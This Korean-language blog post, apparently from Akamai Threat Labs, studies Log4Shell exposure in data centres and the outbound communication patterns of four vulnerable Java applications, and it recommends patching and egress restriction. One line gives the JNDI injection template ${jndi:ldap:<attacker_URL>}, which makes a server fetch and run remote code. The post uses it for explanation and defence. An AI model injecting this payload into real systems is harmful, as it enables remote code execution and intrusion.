Log4Shell의 정량화: 대규모의 취약점

서버의 취약성은 접근성으로 인해 더욱 심각해집니다. 취약점 자체도 충분히 우려할 만한 이유이지만, 인터넷 기반 서버는 네트워크에 침입하기 위한 공격 경로로 사용될 수 있기 때문에 추가적인 위험을 초래합니다. Log4j 인터넷 트래픽 동향에 대한 Akamai의 연구에서 분석된 바에 따르면, 공격자가 이 취약점을 악용하기 위해 가능한 모든 방식으로, 그리고 놀라운 수치로 질주하고 있음을 알 수 있습니다.

연구 결과, Java 서버 측 애플리케이션을 실행하는 데이터 센터의 91%가 심각한 상태인 것으로 나타났습니다. 이 중 40% 이상은 인터넷 기반 Java 서버를 포함하고 있습니다. 이 때문에 이야기가 더욱 복잡해집니다. 인터넷 기반 서버는 외부 세계에 쉽게 접근할 수 있으므로 훨씬 쉽게 악용될 수 있습니다. 이 블로그의 다음 섹션에서는 Java 애플리케이션의 아웃바운드 통신에 초점을 맞추고, Java 애플리케이션을 실행하는 인터넷 기반 서버를 모니터링하고 보안을 유지하려는 사람들에게 몇 가지 방어 권장 사항을 제시합니다.

그러나 모든 Java 서버가 내부 데이터 센터(즉, 인터넷 기반이 아닌)라고 해서 안전하다고 간주할 수는 없다는 점을 주의하시기 바랍니다. Log4Shell은 주로 네트워크 해킹을 위한 수단으로 인식되었지만, 일부 사례에서는 내부 서버에서 실행되는 Java 애플리케이션이 인터넷 기반 서버에서 로그를 받아 결국 손상되는 방식을 보여 주었습니다. 따라서 Log4Shell은 초기 해킹과 마찬가지로 측면 이동에도 쉽게 사용될 수 있습니다.

데이터 지원 방어

Log4Shell은 공격자가 제어하는 원격 시스템에서 페이로드를 피해자에게 다운로드하고 실행하는 데 사용할 때 특히 강력합니다. 이를 위해 공격자는 ${jndi:ldap:<attacker_URL>} 형식으로 로그 메시지를 주입합니다. 그러면 취약한 애플리케이션 프로세스에서 임베디드된 URL로 연결이 트리거됩니다. 그런 다음 원격 Java 클래스 객체를 다운로드하여 메모리에서 실행합니다.

이를 바탕으로 Akamai Threat Labs는 Java 서버, 특히 Log4Shell에 취약한 여러 애플리케이션의 통신 패턴을 매핑하기 시작했습니다. Java 서버와 프로세스가 정기적으로 통신하는 방법을 이해하면 보안 및 IT 전문가가 환경에서 이상 현상을 감지 및 방어하는 데 필요한 필수 정보를 제공하여 결과적으로 Log4Shell 악용을 중단하고 정상적인 비즈니스 운영을 계속할 수 있습니다. 

발신 통신 매핑: Java 서버는 어떻게 도달할까요?

Java 서버가 인터넷과 통신하는 방법을 이해하기 위해, 저희는 Java 애플리케이션이 인터넷에 연결하는 데 사용하는 대상 TCP 포트 수를 정량화하기 시작했습니다. 분석에 따르면 인터넷을 사용하는 대부분의 서버는 소수의 포트(10개 미만)를 통해 통신합니다.

이는 데이터 센터의 여러 서버 및 프로세스에서 허용되는 발신 통신을 제한하는 것의 중요성과 보안 이점을 강조합니다. 즉, 지금까지 특정 포트 집합을 통해 통신한 프로세스로부터 대상 포트에 대한 통신을 처음으로 식별하는 것이 공격 시도를 탐지하는 데 효과적일 수 있습니다.

여러 가지 일반적인 Java 애플리케이션에 대해 보다 세분화된 방식으로 이 탐색 라인을 계속 진행하겠습니다.

애플리케이션별 통신 패턴

Akamai Guardicore Segmentation의 고유한 프로세스 수준 가시성을 통해 Akamai Threat Labs는 Log4Shell에 취약한 특정 애플리케이션의 행동에 대한 자세한 정보를 수집할 수 있습니다. 이 데이터는 이러한 프로세스의 정상적인 행동을 연구하고 이상 징후를 탐지하며 그에 따라 효과적인 분할 룰을 만드는 데 사용할 수 있습니다.

팀은 널리 사용되는 네 가지 취약한 애플리케이션의 통신 패턴을 조사했습니다(괄호 안은 네트워크 트래픽을 트리거하는 프로세스).

• 일래스틱서치(Elasticsearch): 다양한 사용 사례(%elasticsearch%/bin/java)가 포함된 매우 인기 있는 전체 텍스트 검색 엔진

• 로그스태시(Logstash): 데이터 수집 및 변환에 사용되는 서버 측 데이터 처리 파이프라인/usr/share/logstash/jdk/bin/java)

• VMware vCenter: VMware 가상 시스템 및 ESXi 호스트용 관리 플랫폼(%\VMware\vCenter Server\%\bin\java.exe)

• Okta RADIUS 에이전트: Okta ID 관리 솔루션(okta-radius.exe)에 RADIUS 인증을 위임하는 데 사용되는 에이전트

저희가 대답하고자 하는 질문은 다음과 같습니다.

• 이러한 애플리케이션이 일반적으로 연결되는 대상 포트는 무엇일까요?

• 특히, 대상이 인터넷에 있을 때 이러한 애플리케이션이 연결하는 포트는 무엇일까요?

다양한 프로덕션 환경에서 취합된 데이터를 통해 몇 가지 고유한 인사이트를 얻을 수 있었습니다. 애플리케이션의 인터넷 대상 포트 수는 매우 제한적입니다.

그러나 공격자가 페이로드를 다운로드하는 데 사용되는 포트를 위에서 언급한 포트로 변경하여 추적을 쉽게 숨길 수 있기 때문에 포트를 보는 것만으로는 충분하지 않습니다.

이 데이터에서 보다 유용한 결론을 도출하기 위해서는 이러한 포트를 통해 정상적인 활동을 구성하는 것이 무엇인지 이해하기 위한 수단으로 대상 IP 주소를 살펴보아야 했습니다. IP 주소를 사용하면 공격 추적을 숨기기가 훨씬 어려워집니다. 특정 서버가 인터넷에서 하나의 IP 주소로만 통신하는 경우, 공격자는 해당 IP 뒤에 있는 서버를 제어하여 악의적인 페이로드를 제공해야 합니다. 따라서 대상 IP를 연구하면 방어 목적으로 유용하게 사용할 수 있습니다.

이 분석은 각 애플리케이션이 각 포트에 연결하는 고유 IP 주소의 평균을 제공합니다. 적지만 지속적인 주소의 수가 다른 예방 및/또는 탐지 기회를 위한 길을 열어 줄 수 있습니다. 즉, 애플리케이션이 매우 적은 수의 IP 주소와 "대화"하는 경우, 다른 모든 연결은 의심스러운 것으로 간주할 수 있습니다.

포트 443과 80의 고유 대상 IP 주소 수를 살펴보았으며, 대부분의 경우 그 수가 적으며 시간이 지남에 따라 안정적이라는 것이 확인되었습니다.

많은 취약한 애플리케이션이 (대상 포트 및 대상 IP와 관련하여) 상당히 제한된 연결 패턴을 가질 수 있다는 것을 이해하면 공격면 감소와 공격 탐지 모두에 사용할 수 있습니다.

결론

Log4Shell 취약점에 대해 가장 권장되는 방어 방법은 패치된 버전의 라이브러리 자체를 사용하는 것입니다. 그러나 알려진 바와 같이 프로덕션 환경에서 패치를 항상 (또는 빠르게) 실행할 수 있는 것은 아닙니다.

취약한 여러 애플리케이션의 통신 행동에 대한 조사 결과는 공격면을 줄이고 Log4Shell(기타 공격 포함)의 악용을 탐지하기 위한 또 다른 접근 방식을 제시합니다.

네트워크 관리자는 대상 IP 주소 및 대상 포트 모두에 대해 취약한 애플리케이션의 통신 패턴을 연구하고 아웃바운드 연결을 매핑할 것을 권장합니다. 이러한 실제 지식을 바탕으로, 방어자는 알려진 표준 통신 포트에서만 트래픽을 허용함으로써 해당 연결을 최소로 제한할 수 있습니다.

연결 차단을 선택할 수 없는 경우, 인터넷 기반 서버에서 발생하는 연결 이상(새 포트 또는 IP 주소)을 모니터링하는 것이 좋습니다. Akamai Guardicore Segmentation 사용자는 프로세스 수준의 정보를 활용하여 각 서버가 수행하는 다양한 연결에 대한 가시성을 높일 수 있습니다. 이 데이터는 Hunt 고객을 위해 위협 사냥 팀에서 사전에 조사합니다.

Log4Shell 공격 방어에 대한 자세한 내용은 다음의 저희 블로그를 확인하시기 바랍니다. Akamai Guardicore Segmentation을 사용한 Log4j 악용 방어.